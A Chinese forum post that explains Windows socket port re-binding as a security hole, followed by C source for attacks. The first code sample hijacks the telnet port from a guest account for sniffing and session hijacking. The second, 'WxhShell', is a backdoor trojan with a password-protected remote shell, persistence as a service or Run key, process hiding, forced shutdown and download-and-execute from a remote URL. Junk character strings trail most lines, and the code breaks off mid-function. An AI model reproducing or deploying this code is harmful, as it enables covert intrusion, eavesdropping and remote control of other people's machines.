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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +gG6(7&+=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &></l| hY  
Z7<N<  
  saddr.sin_family = AF_INET; ;:nO5VFOg  
FbMX?T"yH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dF$Fd{\4^  
a *n^(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N7=L^]  
By|y:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {2`:7U ~|  
1M|DaAI  
  这意味着什么?意味着可以进行如下的攻击: Fm@G@W7,m  
:%M[|Fj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O.n pi: a  
yq{k:)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QGtKu:c.81  
'CqWF"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \vBpH'hR,'  
#tyHjk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U"} ml  
#]ZOi`;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =='~g~  
VU1 ;ZJ E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6vVx>hFJ47  
[vuqH:Ln  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K)|#FRPM u  
6{rH|Z  
  #include $?^#G8J  
  #include 5>J{JW|  
  #include A^PCI*SN[  
  #include    CD\k.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]XX8l:+  
  int main() BJgg-z{Y  
  { IS; F9{  
  WORD wVersionRequested; ;dt&* ]wA  
  DWORD ret; _y Q*  
  WSADATA wsaData; Pdc- 3  
  BOOL val; p?OwcMT]M  
  SOCKADDR_IN saddr; nwlo,[  
  SOCKADDR_IN scaddr; Y[=Gv6Fr  
  int err; S/j~1q_|G  
  SOCKET s; 8U8l 5r  
  SOCKET sc; uf;^yQi  
  int caddsize; $9v:(:!Bm  
  HANDLE mt; y6|&bJ @  
  DWORD tid;   T<*i($ [  
  wVersionRequested = MAKEWORD( 2, 2 ); ~Uw **PT3M  
  err = WSAStartup( wVersionRequested, &wsaData ); 6,j6,Q(67  
  if ( err != 0 ) { qGtXReK  
  printf("error!WSAStartup failed!\n"); =;.#Bds  
  return -1; eW$G1h:  
  } 9QaEUy*,  
  saddr.sin_family = AF_INET; ,Mf@I5?  
   [gZd$9a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D*d@<&Bl4<  
}-H<wQ&x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $QQv$  
  saddr.sin_port = htons(23); &P>wIbE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k> I;mEV  
  { . W{\wk n  
  printf("error!socket failed!\n"); .d:sQ\k~=  
  return -1; C<CE!|sfr  
  } k$nQY  
  val = TRUE; @,i_ KN6C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o/E A%q1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8UArl3  
  { Fy N@mX  
  printf("error!setsockopt failed!\n"); *bu/Ko]  
  return -1; xX l^\?HC  
  } CybHr#LBc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >&h#t7<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K29]B~0%E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BJDe1W3;'  
9.R)iA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ($^XF:#5  
  { 3 }Z [d  
  ret=GetLastError(); W/U&w.$  
  printf("error!bind failed!\n"); V.Pb AN  
  return -1; kd9rvy0oK  
  } B@Zed Xi  
  listen(s,2); *V(TNLIh;  
  while(1) LGq}wxq  
  { {uEu ^6a5  
  caddsize = sizeof(scaddr); J2 _DP  
  //接受连接请求 :UmY|=v?t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ye1kI~LO(  
  if(sc!=INVALID_SOCKET) =/MAKi}g  
  { nfck3h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p(UUH3%W  
  if(mt==NULL) CMa~BOt#  
  { gCAWRNp  
  printf("Thread Creat Failed!\n"); L- [<C/`;t  
  break; ^y"Rdv  
  } (l : ;p&[  
  } _|.q?;C]$  
  CloseHandle(mt); n0#HPI"  
  } ;wCp j9hir  
  closesocket(s); q: . URl  
  WSACleanup(); :`6E{yfM  
  return 0; H XF5fs  
  }   WZaOw w  
  DWORD WINAPI ClientThread(LPVOID lpParam) uUb[Dqn  
  { ;Dg8>  
  SOCKET ss = (SOCKET)lpParam; ETe,RY  
  SOCKET sc; 5DKR1z:  
  unsigned char buf[4096]; s  bV6}  
  SOCKADDR_IN saddr; 3e$&rpv  
  long num; yjZxD[ Z  
  DWORD val; \3w=')({  
  DWORD ret; eX$P k:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `-S6g^Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0%.l|~CE&  
  saddr.sin_family = AF_INET; ?g2Wu0<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gc}d#oo*k  
  saddr.sin_port = htons(23); n\ aG@X%oq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f,z_|e  
  { }./__gJ  
  printf("error!socket failed!\n"); 'bj$ZM9  
  return -1; OpmI" 4{+  
  } X<J NwjM%  
  val = 100; FQSepUl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vsg"!y@v  
  { 4;8 Z?.  
  ret = GetLastError(); C#X|U2$  
  return -1; cMxTv4|wui  
  } OL&ku &J_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L2Uk/E  
  { "Q]`~u':  
  ret = GetLastError(); 8E1swH5 z  
  return -1; 3=V79&  
  } NK'awv),pM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RajzH2j+>  
  { +K2jYgy  
  printf("error!socket connect failed!\n"); F n4i[|W42  
  closesocket(sc); G^J|_!.a  
  closesocket(ss); \"i2E!  
  return -1; [_ESR/&N  
  } u$d T^c  
  while(1) "1_eZ`  
  { * 3mF.^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ) 2C`;\/:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /,A:HM>B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %gDMz7$~  
  num = recv(ss,buf,4096,0); ($&i\e31N  
  if(num>0) BKe~ y  
  send(sc,buf,num,0); &^^zm9{  
  else if(num==0) *?%DdVrO@  
  break; #:v}d+  
  num = recv(sc,buf,4096,0); FS30RP3 `/  
  if(num>0) <zH24[  
  send(ss,buf,num,0); fQq'_q5  
  else if(num==0) ?"[b408-  
  break; u-0-~TwD  
  } !\.x7N<)0  
  closesocket(ss); Im i)YC  
  closesocket(sc); 7*]O]6rP  
  return 0 ; DE:FWD<}  
  } _n(O?M&x  
'ek7e.x|V  
EQXvEJ^  
========================================================== l[mXbQd  
|]sh*<:?,  
下边附上一个代码,,WXhSHELL GZQy~Uk~  
w N9I )hB  
========================================================== F ?xbVN  
_U;z@  
#include "stdafx.h" >p Y0f }  
&m_4#  
#include <stdio.h> \&|)?'8rS  
#include <string.h> \wqi_[A  
#include <windows.h> &wr0HrE\  
#include <winsock2.h> {Sm^F  
#include <winsvc.h> Vr0-evwfo  
#include <urlmon.h> v<N7o8  
8.bIP ju%v  
#pragma comment (lib, "Ws2_32.lib") W>+\A"  
#pragma comment (lib, "urlmon.lib") >.N?y@  
VeidB!GyP  
#define MAX_USER   100 // 最大客户端连接数 cLn&b}8'  
#define BUF_SOCK   200 // sock buffer ~#+ Hhc(  
#define KEY_BUFF   255 // 输入 buffer `)$'1,]u  
G4][`C]8c  
#define REBOOT     0   // 重启 :786Z,')  
#define SHUTDOWN   1   // 关机 -t2bHhG  
zts%oIgV  
#define DEF_PORT   5000 // 监听端口 HM ;9%rtO  
+]P? ?`,R;  
#define REG_LEN     16   // 注册表键长度 1>bG]l1//  
#define SVC_LEN     80   // NT服务名长度 f"j~{b7  
:r* skV|  
// 从dll定义API OI</o0Ca  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1TeYA6 t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jFfuT9oId  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )e`$'y@L$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E4~k)4R  
fOs}5J  
// wxhshell配置信息 gB,~Y511  
struct WSCFG { "b5:6\  
  int ws_port;         // 监听端口 )OxcJPo  
  char ws_passstr[REG_LEN]; // 口令 -@f5d  
  int ws_autoins;       // 安装标记, 1=yes 0=no daS l.:1  
  char ws_regname[REG_LEN]; // 注册表键名 6jT+kq)  
  char ws_svcname[REG_LEN]; // 服务名 aj;OG^(!2_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F @ lJk|*_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 57*`y'C W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O+hN?/>v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7xidBVx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q_K8vGm4e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A7,TM&  
*^+8_%;1  
}; qELy'\  
$|-joY  
// default Wxhshell configuration |9c J O@  
struct WSCFG wscfg={DEF_PORT, }_m/3*x_  
    "xuhuanlingzhe", ]G m"U!h*  
    1, p\T.l <p  
    "Wxhshell", 70IBE[T&  
    "Wxhshell", 1,q&A RTS  
            "WxhShell Service", jA9&hbQuL  
    "Wrsky Windows CmdShell Service", ak]:ir`o  
    "Please Input Your Password: ", ea!_/Y  
  1, ,q$'hYTaJ  
  "http://www.wrsky.com/wxhshell.exe", :s|" ZR  
  "Wxhshell.exe" t_cNH@^3<3  
    }; _Eo$V&  
R]hilb'a  
// 消息定义模块 G`3/${ti  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #1c%3KaZ I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b`M  2VZu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $A"C1)d;  
char *msg_ws_ext="\n\rExit."; q))r lMo  
char *msg_ws_end="\n\rQuit."; ^ 'W<|  
char *msg_ws_boot="\n\rReboot...";  vU(2[  
char *msg_ws_poff="\n\rShutdown..."; /~RY{ c@#L  
char *msg_ws_down="\n\rSave to "; <2Q+? L{  
1#BMc%  
char *msg_ws_err="\n\rErr!"; >;I$&  
char *msg_ws_ok="\n\rOK!"; @ov*Fh  
RQ}0f5~t  
char ExeFile[MAX_PATH]; ; C/:$l  
int nUser = 0; q5<'pi   
HANDLE handles[MAX_USER]; BVAxeXO  
int OsIsNt; (/6~*<ZGT  
k$j4~C'$  
SERVICE_STATUS       serviceStatus; Kxs_R#k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >6xZF'4  
>drG,v0qh  
// 函数声明 }',/~T6  
int Install(void); mOm_a9M L  
int Uninstall(void); ro:B[XE  
int DownloadFile(char *sURL, SOCKET wsh); M@\A_x(Mas  
int Boot(int flag); j?a^fcXB  
void HideProc(void); x,)|;HXm  
int GetOsVer(void); )nncCU W  
int Wxhshell(SOCKET wsl); Rs*]I\  
void TalkWithClient(void *cs); (.Q.S[<Y  
int CmdShell(SOCKET sock); w<}kY|A"=-  
int StartFromService(void); <OF2\#Nh  
int StartWxhshell(LPSTR lpCmdLine); OEMYS I%  
h0i/ v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1?k{jt~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PL*Mz(&bf  
!kAjne8]d  
// 数据结构和表定义 E8$k}I  
SERVICE_TABLE_ENTRY DispatchTable[] = $H}G'LqiG  
{ SvE3E$*  
{wscfg.ws_svcname, NTServiceMain}, !$}:4}56F  
{NULL, NULL} <UI^~Azc#  
}; |]s/NNU  
]Dj,8tf`H  
// 自我安装 Aun X[X9  
int Install(void) T["(wPrt  
{ 8n_!WDD  
  char svExeFile[MAX_PATH]; 954!ED|F(  
  HKEY key; v D"4aw  
  strcpy(svExeFile,ExeFile); Q)`3&b  
^t X}5i`P  
// 如果是win9x系统,修改注册表设为自启动 }2@Aj  
if(!OsIsNt) { +hoZW R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &~9'7 n!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e+`LtEve0  
  RegCloseKey(key); {w/{)B nPG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8OV;&Z,x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j6Msbq[  
  RegCloseKey(key); ^r4@C2#vzJ  
  return 0; \PHbJN:BI  
    } X*4iNyIs_  
  } c*fMWtPp  
} d2cslD d  
else { Kyn[4Bu!?  
T9&-t7:  
// 如果是NT以上系统,安装为系统服务 5~BM+ja  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $@WqM$  
if (schSCManager!=0) Tf0"9  
{ H rMH  
  SC_HANDLE schService = CreateService Gcu[G]D  
  ( }bkQr)us  
  schSCManager, Vp"=8p#k  
  wscfg.ws_svcname, 1W@ C]n4  
  wscfg.ws_svcdisp, k 5~#_D>  
  SERVICE_ALL_ACCESS, Q:nBx[%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0j@nOj(3  
  SERVICE_AUTO_START, #ZzFAt  
  SERVICE_ERROR_NORMAL, 2kG(\+\  
  svExeFile, '+ %<\.$  
  NULL, G&2UXr3  
  NULL, q$#5>5&  
  NULL, |->P|1 P  
  NULL, `Mg&s*  
  NULL {DP%=4  
  ); c;RL<83:  
  if (schService!=0) YTb/ LeuT  
  { O{P@fv%~(o  
  CloseServiceHandle(schService); 3c%dErch  
  CloseServiceHandle(schSCManager); `lI(SS]w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1u9*)w  
  strcat(svExeFile,wscfg.ws_svcname); gfr y5e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7IEG%FY T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A(j9T,!  
  RegCloseKey(key); oR``Jiob|  
  return 0; -}_X'h&"  
    } ,RA;X  
  } jUtFDw  
  CloseServiceHandle(schSCManager); 3izGMH_`  
} sN"JVJXi  
} AbqeZn  
pgp@Zw)r)k  
return 1; %1\MW+  
} "W"2 Y(  
\ytF@"7  
// 自我卸载 F\K&$5J{p  
int Uninstall(void) t@_MWF  
{ W##~gqZ/  
  HKEY key; U3oMY{{E J  
ff{ L=uj  
if(!OsIsNt) { T(@J]Y-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w# iezo. 0  
  RegDeleteValue(key,wscfg.ws_regname); J>o%6D  
  RegCloseKey(key); :" ta#g'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?QbxC,& i  
  RegDeleteValue(key,wscfg.ws_regname); 0Z11V9Jk  
  RegCloseKey(key); @N(*1,s2  
  return 0; NQ9/,M  
  } cN?}s0  
} M15jwR!:M  
} ^9jrI  
else { <SPT2NyX  
G (Ky7S Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^KlW"2:  
if (schSCManager!=0) NKyKsu  
{ "ZHA.M]`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8.Z9 i  
  if (schService!=0) ;z Qrree#  
  { o@5zf{-  
  if(DeleteService(schService)!=0) { j0X Jf<  
  CloseServiceHandle(schService); u#Z#NP ~F0  
  CloseServiceHandle(schSCManager); Z<Rhn  
  return 0; &"R`:`XF  
  } N4L#$\M  
  CloseServiceHandle(schService); UN8]>#\"`  
  } GW;\ 3@o  
  CloseServiceHandle(schSCManager); $XZC8L#  
} NUQ?Q Q  
} 79yF {  
'0jjoZ:  
return 1; Cih~cwE  
} P {0iEA|k  
wf,B/[,d  
// 从指定url下载文件 T F[8r[93  
int DownloadFile(char *sURL, SOCKET wsh) A0A]#=S  
{ =N~*`5|rk  
  HRESULT hr; \LEU reTn  
char seps[]= "/"; g> <*qd?t  
char *token; izvwXC  
char *file; ';vL j1v  
char myURL[MAX_PATH]; _U<r@  
char myFILE[MAX_PATH]; E3~Wyfd7  
x("V +y*  
strcpy(myURL,sURL); 1SwKd*aRR?  
  token=strtok(myURL,seps); xNAa,aMM  
  while(token!=NULL) K}feS(Ji  
  { x^959QO~  
    file=token; ^sP-6 ^  
  token=strtok(NULL,seps); "<=HmE-;  
  } |jhu  
m\DI6O"u'  
GetCurrentDirectory(MAX_PATH,myFILE); \Ctl(uj  
strcat(myFILE, "\\"); UXdnN;0  
strcat(myFILE, file); F, 39'<N[  
  send(wsh,myFILE,strlen(myFILE),0); -ld1o+'`v!  
send(wsh,"...",3,0); JNL9t0 x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Ave r]eK  
  if(hr==S_OK) H[e=^JuD  
return 0; `^G?+p2E  
else >OotgJnhC  
return 1; Z'cL"n\9R]  
K1oSoD8c  
} u]$e@Vw.  
!\hUjM+(}  
// 系统电源模块 bMvHAtp  
int Boot(int flag) j96\({;k  
{ ,?KN;~t#vz  
  HANDLE hToken; +>BD^[^^  
  TOKEN_PRIVILEGES tkp; 6qF9+r&e ?  
'<!T'l:R:/  
  if(OsIsNt) { wj$WE3Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4COo~d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hVl^vw7o  
    tkp.PrivilegeCount = 1; tYzpL   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2l.qINyz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IPa)+ ZQ  
if(flag==REBOOT) { qHf8z;lc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y7@q]~%  
  return 0; of<(4<T  
} %-Oo9 2tP  
else { ^)%TQ.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6xT" j)h  
  return 0; c>)_I  
} _!:*&{  
  } 4.&hV?Kxz  
  else { C'S&  
if(flag==REBOOT) { hTS?+l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [39  
  return 0; Ra-%,cS  
} RKtU@MX49  
else { %kXg|9Bx!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c-" .VF  
  return 0; V")u y&Ob  
} 'p> *4}  
} 5LVzT1j|  
UgC{  
return 1; gBPYGci2F  
} (-bLP  
? f>pKe  
// win9x进程隐藏模块 2J1YrHj3  
void HideProc(void) G5hh$Nmpi  
{ eW/sP Q-  
n/vKxtW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6U?z  
  if ( hKernel != NULL ) grbUR)f<?-  
  { ?_BK(kL_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]`H8r y2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [7sy}UH  
    FreeLibrary(hKernel); T^1]|P  
  } 1J?x2  
89+Q^79m  
return; eUZvJTE  
} Z+M* z;  
N799@:.  
// 获取操作系统版本 $^Z ugD  
int GetOsVer(void) oJln"-M1nx  
{ dHJ#xmE!pP  
  OSVERSIONINFO winfo; *)0-N!N#)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =ec"G2$?"  
  GetVersionEx(&winfo); |x/00XhS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uh 3yiDj@a  
  return 1; |4?O4QN  
  else M.h8Kr!.  
  return 0; w^N3Ma  
} Pp ~:e}  
p)y'a+|7  
// 客户端句柄模块 -V 'h>K  
int Wxhshell(SOCKET wsl) (I0QwB  
{ 8TV "9{ n  
  SOCKET wsh; ?o883!&v  
  struct sockaddr_in client; vC|V8ea  
  DWORD myID; us$=)m~v+  
's7 (^1hH  
  while(nUser<MAX_USER) )DwHLaLW  
{ /^^wHW:  
  int nSize=sizeof(client); R8n/QCeY{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N2/t  
  if(wsh==INVALID_SOCKET) return 1; `zjbyY  
-JwwD6D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2|:xb9#  
if(handles[nUser]==0) e 0cVg  
  closesocket(wsh); T(4OPiKu  
else A2{s ?L,  
  nUser++; [)KLmL%  
  } u~\I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o@j)clf  
+L>?kr[i[  
  return 0; WB(Gx_o3  
} \9 5O  
Qs1e0LwA9  
// 关闭 socket "79"SSfOc  
void CloseIt(SOCKET wsh) /M@6r<2`i  
{ 3V)NM%Aw  
closesocket(wsh); /+zzZnLl-M  
nUser--; \Zbi`;m?  
ExitThread(0); {ZR>`'^:  
} hsEQ6  
R\^XF8n6/  
// 客户端请求句柄 ml\2%07  
void TalkWithClient(void *cs) ,,o5hD0V9  
{ MbJ|6g99  
Jh!'"7  
  SOCKET wsh=(SOCKET)cs; pon0!\ZT=  
  char pwd[SVC_LEN]; wr{ [4$O  
  char cmd[KEY_BUFF]; K! e51P  
char chr[1]; d@IV@'Q7u  
int i,j; hQPNxpe  
TF7~eyLg  
  while (nUser < MAX_USER) { REc+@;B  
R}J}Q b  
if(wscfg.ws_passstr) { X\ bXat+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uk@'[_1z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }<KQ +  
  //ZeroMemory(pwd,KEY_BUFF); F* h\#?  
      i=0; 9?L,DThQ  
  while(i<SVC_LEN) { 9Atnnx]n  
NR|t~C+  
  // 设置超时 /@`kM'1:  
  fd_set FdRead; sBV})8]K M  
  struct timeval TimeOut; J rgpDZ  
  FD_ZERO(&FdRead); @24)*d^1  
  FD_SET(wsh,&FdRead); 9zs!rlzQ  
  TimeOut.tv_sec=8; u/S{^2`b  
  TimeOut.tv_usec=0; &>$+O>c ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3wf&,4`EX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (//f"c]/  
#yi&-9B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G Rq0nhJ  
  pwd=chr[0]; w_hN2eYo&e  
  if(chr[0]==0xd || chr[0]==0xa) { 6<>T{2b:(p  
  pwd=0; IwJ4K+  
  break; y3{ F\K  
  } ##_Jz5P  
  i++; 6L4<c+v_  
    } B?pNF+?'z  
|| 0n%"h>i  
  // 如果是非法用户,关闭 socket <yw(7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K|^'`FpPO  
} /@qnEP%  
5kbbeO|0G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W< sa6,$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (W'.vEl  
iB0#Z_  
while(1) { &w7Ev21  
*Tyr  
  ZeroMemory(cmd,KEY_BUFF);  66 @#V  
I`-N]sf^  
      // 自动支持客户端 telnet标准    @& fAR2  
  j=0; ZA{T0:  
  while(j<KEY_BUFF) { B;=-h(E}vJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }{#ty uzAo  
  cmd[j]=chr[0]; Lw_s'QNWR  
  if(chr[0]==0xa || chr[0]==0xd) { !gbPxfH:6  
  cmd[j]=0; qOM"?av  
  break; *s1^s;LR  
  } BfUM+RC%5  
  j++; .m/$ku{/J  
    } `j)S7KN  
L$rMfe S  
  // 下载文件 jS<(O o  
  if(strstr(cmd,"http://")) { %f'mW2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (]gd$BgD  
  if(DownloadFile(cmd,wsh)) :+*q,lX8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TVs#,  
  else 3I):W9$Qp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eF=cMC  
  } XMpa87\  
  else { & c V$`L  
, tb\^  
    switch(cmd[0]) { DITo.PU  
  Ae[Na:G+  
  // 帮助 g+1&liV  
  case '?': { ~>-MVp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *JT,]7>  
    break; tkj QSz  
  } &Ay[mZQ 7  
  // 安装 97 eEqI$#  
  case 'i': { vj,OX~|  
    if(Install()) 43m@4Yb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6#gS`X23Y  
    else d.Im{-S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aTLu7C\-e  
    break; pEp`Z,p  
    } 2*)2c[/0F  
  // 卸载 K~6,xZlDWM  
  case 'r': { rU!QXg]uD  
    if(Uninstall()) 4#"_E:;PQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HY!R|  
    else ]/ffA|"U`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R!Lh ~~@{(  
    break; c+A$ [  
    } ]9]o*{_+(f  
  // 显示 wxhshell 所在路径  oo4aw1d  
  case 'p': { :/<SJ({q  
    char svExeFile[MAX_PATH]; Q}6!t$Vk  
    strcpy(svExeFile,"\n\r"); 1O,:fTG<  
      strcat(svExeFile,ExeFile); oqUF_kh  
        send(wsh,svExeFile,strlen(svExeFile),0); ;U)xZ _Ew~  
    break; 3Z%~WE;I  
    } qEJ#ce]G  
  // 重启 !!:mjq<0  
  case 'b': { 19j"Zxdg Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xm$-:N0q  
    if(Boot(REBOOT)) }huFv*<@'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {'@`: p&3r  
    else { a2%xW_e  
    closesocket(wsh); M)6iYA%$  
    ExitThread(0); B9(@ .  
    } D`NPU  
    break; A2 9R5  
    } dtx3;d<NsJ  
  // 关机 X%rsa7H3J  
  case 'd': { euiP<[|h=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !fmbm4!a  
